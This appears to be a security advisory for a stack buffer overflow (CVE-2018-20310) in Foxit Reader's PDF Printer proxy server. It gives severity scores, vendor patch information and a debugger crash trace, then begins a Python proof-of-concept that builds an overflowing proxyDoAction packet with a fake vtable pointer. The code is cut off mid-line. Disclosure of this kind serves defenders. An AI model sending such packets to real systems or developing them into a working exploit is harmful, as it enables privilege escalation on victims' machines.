SRC-2019-0025 : Foxit Reader PDF Printer proxyDoAction opcode Stack Buffer Overflow Elevation of Privilege Vulnerability

2018-12-1900:00:00

Steven Seeley (mr_me) of Source Incite

srcincite.io

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

0.002 Low

EPSS

Percentile

60.8%

JSON

Vulnerability Details:

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Foxit Reader. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the processing of proxyDoAction requests. The issue results from the lack of proper validation of user-supplied data when processing opcodes, which can result in a stack based buffer overflow. An attacker can leverage this vulnerability to escalate privileges and execute code at medium integrity.

Affected Vendors:

Foxit

Affected Products:

Foxit Reader

Vendor Response:

Foxit has issued an update to correct this vulnerability. More details can be found at:
<https://www.foxitsoftware.com/support/security-bulletins.php>

"""
Foxit Reader PDF Printer proxyDoAction opcode Stack Buffer Overflow Elevation of Privilege Vulnerability
Version: 9.3.0.912
SRC: SRC-2019-0025
CVE: CVE-2018-20310
Vendor Advisory: https://www.foxitsoftware.com/support/security-bulletins.php
Details: https://srcincite.io/blog/2019/04/19/its-not-our-sandbox-auditing-foxit-readers-pdf-printer-for-an-eop.html

Summary:
========

The FoxitProxyServer_Socket_RD.exe application contains code that when calling the proxyDoAction function with a large opcode will trigger a stack based buffer overflow. An attacker can possibly leverage this to elevate their privileges under the context of the FoxitProxyServer_Socket_RD.exe server outside of a sandbox.

Debugging:
==========

(2b90.cc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitProxyServer_Socket_RD.exe -
FoxitProxyServer_Socket_RD+0x1e4b5:
00a0e4b5 ff5008          call    dword ptr [eax+8]    ds:002b:cafebabe=????????
0:000:x86>
"""

import sys
import struct
import socket

def gen_packet():
    """
    This method generates the packet structure
    """

    # generate buffer
    opcode  = "\x41" * 0x34

    # use this if you wanna write an exploit to pwn var_28 and redirect execution
    # this is the fake vtable
    opcode += struct.pack("I", 0xcafebabe-0x8)

    method = "proxyDoAction"
    raw_packet = "foxb"                              # foxit begin header
    raw_packet += "requ"                             # request header
    raw_packet += "\xff\xff\xff\xff"                 # size of the packet including the header (patched in later)
    raw_packet += struct.pack("I", len(method))      # length of method
    raw_packet += method                             # method
    raw_packet += struct.pack("